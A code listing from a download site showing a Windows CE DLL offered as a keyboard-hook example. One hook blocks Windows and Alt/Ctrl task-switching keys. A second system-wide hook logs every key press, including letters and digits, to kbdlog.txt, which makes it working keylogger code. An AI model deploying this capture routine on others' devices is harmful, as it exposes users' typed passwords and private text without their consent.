⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 keybdhook_ce.cpp

📁 wince下的按键钩子示例
💻 CPP
字号:
// KeybdHook_CE.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"

#include "KeybdHook_CE.h"

#include <pwinuser.h>
#include <winuser.h>

//告诉编译器将变量放入它自己的数据共享节中

#pragma data_seg("KeyHookData")
HHOOK hKeyHook, hKeyHook2;
#pragma data_seg()


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

//获取程序当前路径
TCHAR *GetCurrentDir()
{
	TCHAR   szFileName[MAX_PATH]   =   {0};  
	int nIndex;
	TCHAR szDirName[MAX_PATH] = {0};
	DWORD   dwNameLen   =   ::GetModuleFileName(NULL, szFileName, MAX_PATH);
	if(dwNameLen   ==   0)   
	{	   
        return L"No Directory";   
	}  
	else 
	{
		int nLen = _tcslen(szFileName);
		for(int i=0; i<nLen; i++)
		{
			if(szFileName[i] == '\\')
				nIndex = i;
		}
		_tcsncpy(szDirName, szFileName, nIndex);
		return szDirName;
	}
}

//记录键盘事件
void SaveLog(char* c)
{
	CString sFileName;
	TCHAR *szFileName = GetCurrentDir();
	sFileName.Format(L"%s\\kbdlog.txt", szFileName);
	CFile file;
	if(!file.Open(sFileName,CFile::modeReadWrite))
	{
		file.Open(sFileName,CFile::modeCreate|CFile::modeReadWrite);
	}
	file.SeekToEnd();
	file.Write(c,strlen(c));
	file.Close();
}


//
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CKeybdHook_CEApp

BEGIN_MESSAGE_MAP(CKeybdHook_CEApp, CWinApp)
	//{{AFX_MSG_MAP(CKeybdHook_CEApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CKeybdHook_CEApp construction

CKeybdHook_CEApp::CKeybdHook_CEApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CKeybdHook_CEApp object

CKeybdHook_CEApp theApp;
extern "C" KEYBOARDHOOK_API void InstallHook(void)
{
	if (!hKeyHook)
	{
        hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, theApp.m_hInstance, 0);
	}
}

extern "C" KEYBOARDHOOK_API void UnHook(void)
{

	if (hKeyHook)
	{
		UnhookWindowsHookEx(hKeyHook);
		hKeyHook = NULL;
	}
	hKeyHook = NULL;
}

extern "C" KEYBOARDHOOK_API LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)

{
	BOOL fEatKeystroke = FALSE;
    PKBDLLHOOKSTRUCT p = NULL;

    if (nCode == HC_ACTION) 
    {
        p = (PKBDLLHOOKSTRUCT) lParam;
        switch (wParam) 
        {
            case WM_KEYDOWN: 
            case WM_SYSKEYDOWN:
                        case WM_KEYUP:    
            case WM_SYSKEYUP: 
        fEatKeystroke = (p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN) ||  // 屏蔽Win
        // 屏蔽Alt+Tab
        ((p->vkCode == VK_TAB) && (GetKeyState(VK_MENU) != 0)) ||
        // 屏蔽Alt+Esc
        ((p->vkCode == VK_ESCAPE) && (GetKeyState(VK_MENU) != 0)) ||
        // 屏蔽Ctrl+Esc
        ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0));
        break;
            default:
                break;
      }
    }
	//CHAR buf[100];
	//sprintf(buf,"%x ", p->vkCode);
	//SaveLog(buf);
	return (fEatKeystroke ? TRUE : CallNextHookEx(hKeyHook,nCode,wParam,lParam));

}

extern "C" KEYBOARDHOOK_API void InstallHook2(void)
{
	if (!hKeyHook2)
	{
        hKeyHook2 = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc2, theApp.m_hInstance, 0);
	}
}

extern "C" KEYBOARDHOOK_API void UnHook2(void)
{

	if (hKeyHook2)
	{
		UnhookWindowsHookEx(hKeyHook2);
		hKeyHook2 = NULL;
	}
	hKeyHook2 = NULL;
}

extern "C" KEYBOARDHOOK_API LRESULT CALLBACK KeyBoardProc2(int nCode, WPARAM wParam, LPARAM lParam)

{	
	
	PKBDLLHOOKSTRUCT p = NULL;
        
	if((nCode == HC_ACTION )&& (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
	{
		p = (PKBDLLHOOKSTRUCT) lParam;
		//CHAR buf[100];
		//sprintf(buf, "p->vkCode = %x ", p->vkCode);
		//SaveLog(buf);
		switch(p->vkCode)
		{
		case VK_ESCAPE:SaveLog("ESC ");break;
		case VK_F1:SaveLog("F1 ");break;
		case VK_F2:SaveLog("F2 ");break;
		case VK_F3:SaveLog("F3 ");break;
		case VK_F4:SaveLog("F4 ");break;
		case VK_F5:SaveLog("F5 ");break;
		case VK_F6:SaveLog("F6 ");break;
		case VK_F7:SaveLog("F7 ");break;
		case VK_F8:SaveLog("F8 ");break;
		case VK_F9:SaveLog("F9 ");break;
		case VK_F10:SaveLog("F10 ");break;
		case VK_F11:SaveLog("F11 ");break;
		case VK_F12:SaveLog("F12 ");break;
// 0~9
		case '1':SaveLog("1 ");break;
		case '2':SaveLog("2 ");break;
		case '3':SaveLog("3 ");break;
		case '4':SaveLog("4 ");break;	
		case '5':SaveLog("5 ");break;
		case '6':SaveLog("6 ");break;
		case '7':SaveLog("7 ");break;
		case '8':SaveLog("8 ");break;
		case '9':SaveLog("9 ");break;
		case '0':SaveLog("0 ");break;

		case VK_NUMPAD1:SaveLog("NUM1 ");break;
		case VK_NUMPAD2:SaveLog("NUM2 ");break;
		case VK_NUMPAD3:SaveLog("NUM3 ");break;
		case VK_NUMPAD4:SaveLog("NUM4 ");break;
		case VK_NUMPAD5:SaveLog("NUM5 ");break;
		case VK_NUMPAD6:SaveLog("NUM6 ");break;
        case VK_NUMPAD7:SaveLog("NUM7 ");break;
		case VK_NUMPAD8:SaveLog("NUM8 ");break;
		case VK_NUMPAD9:SaveLog("NUM9 ");break;
		case VK_NUMPAD0:SaveLog("NUM0 ");break;
// A~Z
		case 'A':SaveLog("A ");break;
		case 'B':SaveLog("B ");break;
		case 'C':SaveLog("C ");break;
		case 'D':SaveLog("D ");break;
		case 'E':SaveLog("E ");break;
		case 'F':SaveLog("F ");break;
		case 'G':SaveLog("G ");break;
		case 'H':SaveLog("H ");break;
		case 'I':SaveLog("I ");break;
		case 'J':SaveLog("J ");break;
		case 'K':SaveLog("K ");break;
		case 'L':SaveLog("L ");break;
		case 'M':SaveLog("M ");break;
		case 'N':SaveLog("N ");break;
		case 'O':SaveLog("O ");break;
		case 'P':SaveLog("P ");break;
		case 'Q':SaveLog("Q ");break;
		case 'R':SaveLog("R ");break;
		case 'S':SaveLog("S ");break;
		case 'T':SaveLog("T ");break;
		case 'U':SaveLog("U ");break;
		case 'V':SaveLog("V ");break;
		case 'W':SaveLog("W ");break;
		case 'X':SaveLog("X ");break;
		case 'Y':SaveLog("Y ");break;
		case 'Z':SaveLog("Z ");break;
// OTHER KEY
		case VK_UP:SaveLog("UP ");break;
		case VK_DOWN:SaveLog("DOWN ");break;
		case VK_LEFT:SaveLog("LEFT ");break;
		case VK_RIGHT:SaveLog("RIGHT ");break;

		case VK_TAB:SaveLog("TAB ");break;
		case VK_MENU:SaveLog("ALT ");break;
		case VK_SHIFT:SaveLog("SHIFT ");break;
		case VK_CONTROL:SaveLog("CONTRL ");break;

		case VK_RETURN:SaveLog("ENTER ");break;
		case VK_CLEAR:SaveLog("CLEAR ");break;
		case VK_DELETE:SaveLog("DEL ");break;
		case VK_CANCEL:SaveLog("CANCEL ");break;		
		case VK_CONVERT:SaveLog("CONVERT ");break;
		case VK_DIVIDE:SaveLog("DIVIDE ");break;
		case VK_END:SaveLog("END ");break;
		case VK_FINAL:SaveLog("FINAL ");break;
		case VK_HELP:SaveLog("HELP ");break;
		case VK_HOME:SaveLog("HOME ");break;
		case VK_INSERT:SaveLog("INSERT ");break;
		case VK_KANA:SaveLog("KANA ");break;
		case VK_KANJI:SaveLog("KANJI ");break;
		case VK_MULTIPLY:SaveLog("MULTIPLY ");break;
		case VK_PAUSE:SaveLog("PAUSE ");break;
		case VK_SPACE:SaveLog("SPACE ");break;
		case VK_LWIN:SaveLog("LWIN ");return true;break;
		case VK_RWIN:SaveLog("RWIN ");break;
		case VK_CAPITAL:SaveLog("CAPITAL ");break;
		case VK_PRIOR:SaveLog("PRIOR ");break;
		case VK_NEXT:SaveLog("NEXT ");break;
		case VK_BACKQUOTE:SaveLog("` ");break;
		case VK_HYPHEN:SaveLog("- ");break;
		case VK_EQUAL:SaveLog("= ");break;
		case VK_BACKSLASH:SaveLog("\\ ");break;
		case VK_LBRACKET:SaveLog("[ ");break;
		case VK_RBRACKET:SaveLog("] ");break;
		case VK_SEMICOLON:SaveLog("; ");break;
		case VK_APOSTROPHE:SaveLog("' ");break;
		case VK_COMMA:SaveLog(", ");break;
		case VK_PERIOD:SaveLog(". ");break;
		case VK_SLASH:SaveLog("/ ");break;
		default: SaveLog("other ");
		}

	}
	return CallNextHookEx(hKeyHook2,nCode,wParam,lParam);

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -